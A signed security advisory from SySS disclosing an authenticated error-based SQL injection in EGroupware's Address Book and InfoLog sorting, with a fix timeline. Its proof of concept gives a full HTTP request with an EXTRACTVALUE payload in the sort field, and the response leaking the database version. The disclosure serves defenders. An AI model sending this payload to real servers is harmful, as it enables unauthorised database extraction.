-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID:               SYSS-2024-047 
Product:                   EGroupware
Manufacturer:              EGroupware GmbH
Affected Version(s):       23.1.20240430
Tested Version(s):         23.1.20240430
Vulnerability Type:        SQL Injection (CWE-89) 
Risk Level:                High
Solution Status:           Fixed
Manufacturer Notification: 2024-06-20
Solution Date:             2024-06-24
Public Disclosure:         2024-07-10
CVE Reference:             CVE-2024-40614
Author of Advisory:        Christian Zäske, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

EGroupware is a web-based platform for managing files, e-mails, calendars
and more. It is mainly designed for offices.

The manufacturer describes the product as follows (see [1]):

"EGroupware is the online office for maximum digital sovereignty."

Due to improper neutralization of special elements used in an SQL
command, the sort function of multiple views is vulnerable to an 
error-based SQL injection.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

When selecting a column such as the name for sorting the list of entries
in the "Address Book" or the "InfoLog", the ID of the column inside the
HTTP request can be modified in such a way that SQL commands can be
injected. When these are designed to throw an SQL error, the
corresponding error message is shown in the response, revealing database
entries. This only applies to authenticated users.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

To exploit this vulnerability, an authenticated user needs to send the
following HTTP request to the server running EGroupware:

POST /egroupware/json.php?menuaction=EGroupware\Api\Etemplate\Widget\Nextmatch::ajax_get_rows HTTP/2
Host: [HOST]
Cookie: [COOKIES]

{
  "request":{
    "parameters":[
      "addressbook_chriszae_[DYNAMIC ID]",
      {},
      {
        "sort":{
          "id":"#, EXTRACTVALUE(3198,CONCAT(0x5c,0x71,(SELECT version()),0x71))--",
          "asc":false
        }
      },
      "nm",
      [],
      0
    ]
  }
}

The field "sort.id" contains the payload to execute SQL commands. It is
important to note that the beginning "#" is required when using the "Address
Book" as an entry point. Otherwise, the following characters will not get
interpreted as SQL commands.

When this request is processed by the server, the following response is
returned, containing the extracted database data:

HTTP/1.1 200 OK
[...]

{
  "response":[
    {
      "type":"message",
      "data":{                                               _______________________
        "message":"Database error\n\nXPATH syntax error: '\\q10.6.18-MariaDB-ubu2004q'
                   \n\n\/usr\/share\/egroupware\/api\/src\/Db.php (832)",
        "type":"error"
      }
    }
  ],
  "page_generation_time":"0.02",
  "session_restore_time":"0.01"
}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to version 23.1.20240624.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2024-06-17: Vulnerability discovered
2024-06-20: Vulnerability reported to manufacturer
2024-06-20: Vulnerability fixed in code
2024-06-24: Fixed version of EGroupware published
2024-07-10: Public disclosure

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for EGroupware
    https://www.egroupware.org/en
[2] SySS Security Advisory SYSS-2021-045
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-047.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Christian Zäske of SySS
GmbH.

E-Mail: christian.zaeske@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Christian_Zaeske.asc
Key ID: 0x7B00D164A32F9AC9
Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEUdRumzwpc0esAQ9aewDRZKMvmskFAmaM8H4ACgkQewDRZKMv
mslwABAAqnignYfcHsNoqs09t2uxNyGgdFPl59XzCq6Z0mIhF3V13EVgrp45Ri/B
Pr5N5ezXkF3VqrCgUHJazPMEpaFBQ0x/xHck3ZeX8WbypGJP5GRm7ZsCQRWB/r7x
+IGJ1Pp3k2q6LAZm6sfBSpk7Fl7AlmzbjuJNl2kdwalQnfswd2sfANTP/1yU7vRO
M4soVDbIRBAeCt2QiqeUSEDv4+DoTUdFeZGhQmwpk0tD4BhMLBBrXC7dLpWpNKQc
1FWBGCWzkGhGrnAXS0GPJtlz71wGg2oA/R4OvCsxHNKSPfzRuzxSbu8y99eH84x7
eco2QJQ+d+6G+ssfaY3stsM0E5qrh1HEXaGXG5RU6SrDz2lVcenm3t5bQeeZ7fQQ
idEFTCEFmPVmllGC/o+8wKAxoiFwpVHO8xiqXsXIeG4AF06LaAaS2ks4xR4uUk58
SU3ZpuPJt9fCLF8QWbBwkp4BjSIUCbDiAscQjUlNp9cqhNypHqjeiChG0ZZuKkpm
6zWkr+HbIBsk70dxrlJvP/8254lPbl113GzoaV4njOrwJ4XDh6dkszCxk2Mcx473
FMMGP9qCbhtuKRPTGKzJZnNoZOUN3iTB8aDnqetydHxyJNTkiEXsA5FtROVQyhHO
t9FHZhePMItPk+bjpaOiaNHK1+czRqNTEyl/Zyl/ge/ns9u6XPM=
=LWVd
-----END PGP SIGNATURE-----